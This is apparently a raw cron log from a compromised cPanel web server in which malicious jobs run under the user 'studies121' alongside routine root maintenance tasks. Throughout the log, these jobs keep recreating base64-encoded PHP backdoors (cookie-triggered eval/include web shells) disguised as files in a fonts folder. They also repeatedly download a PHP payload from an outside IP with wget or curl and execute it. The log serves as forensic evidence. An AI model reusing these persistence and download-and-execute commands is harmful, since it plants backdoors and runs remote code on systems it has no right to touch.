Sep 21 09:05:01 ip-184-168-122-23 CROND[30672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:05:01 ip-184-168-122-23 CROND[30673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:05:01 ip-184-168-122-23 CROND[30675]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 09:06:01 ip-184-168-122-23 CROND[30924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:06:01 ip-184-168-122-23 CROND[30928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:06:01 ip-184-168-122-23 CROND[30929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:06:01 ip-184-168-122-23 CROND[30927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:06:01 ip-184-168-122-23 CROND[30926]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:07:01 ip-184-168-122-23 CROND[31130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:07:01 ip-184-168-122-23 CROND[31131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:07:01 ip-184-168-122-23 CROND[31132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:07:01 ip-184-168-122-23 CROND[31134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:08:01 ip-184-168-122-23 CROND[31250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:08:01 ip-184-168-122-23 CROND[31251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:08:01 ip-184-168-122-23 CROND[31254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:08:01 ip-184-168-122-23 CROND[31256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:08:01 ip-184-168-122-23 CROND[31255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:09:01 ip-184-168-122-23 CROND[31359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:09:01 ip-184-168-122-23 CROND[31360]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 09:09:01 ip-184-168-122-23 CROND[31362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:09:01 ip-184-168-122-23 CROND[31363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:09:01 ip-184-168-122-23 CROND[31364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:10:01 ip-184-168-122-23 CROND[31513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:10:01 ip-184-168-122-23 CROND[31517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:10:01 ip-184-168-122-23 CROND[31518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:10:01 ip-184-168-122-23 CROND[31523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:10:01 ip-184-168-122-23 CROND[31521]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:10:01 ip-184-168-122-23 CROND[31522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:10:01 ip-184-168-122-23 CROND[31524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 09:10:01 ip-184-168-122-23 CROND[31520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:11:01 ip-184-168-122-23 CROND[31669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:11:01 ip-184-168-122-23 CROND[31670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:11:01 ip-184-168-122-23 CROND[31671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:11:01 ip-184-168-122-23 CROND[31672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:12:01 ip-184-168-122-23 CROND[31805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:12:01 ip-184-168-122-23 CROND[31807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:12:01 ip-184-168-122-23 CROND[31808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:12:01 ip-184-168-122-23 CROND[31810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:12:01 ip-184-168-122-23 CROND[31809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:13:01 ip-184-168-122-23 CROND[31931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:13:01 ip-184-168-122-23 CROND[31933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:13:01 ip-184-168-122-23 CROND[31934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:13:01 ip-184-168-122-23 CROND[31935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:14:01 ip-184-168-122-23 CROND[32152]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:14:01 ip-184-168-122-23 CROND[32154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:14:01 ip-184-168-122-23 CROND[32156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:14:01 ip-184-168-122-23 CROND[32155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:14:01 ip-184-168-122-23 CROND[32157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:15:02 ip-184-168-122-23 CROND[32315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:15:02 ip-184-168-122-23 CROND[32316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:15:02 ip-184-168-122-23 CROND[32317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:15:02 ip-184-168-122-23 CROND[32319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:15:02 ip-184-168-122-23 CROND[32318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:15:02 ip-184-168-122-23 CROND[32320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:16:01 ip-184-168-122-23 CROND[32502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:16:01 ip-184-168-122-23 CROND[32506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:16:01 ip-184-168-122-23 CROND[32507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:16:01 ip-184-168-122-23 CROND[32508]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 09:16:01 ip-184-168-122-23 CROND[32505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:16:01 ip-184-168-122-23 CROND[32504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:17:01 ip-184-168-122-23 CROND[32648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:17:01 ip-184-168-122-23 CROND[32649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:17:01 ip-184-168-122-23 CROND[32651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
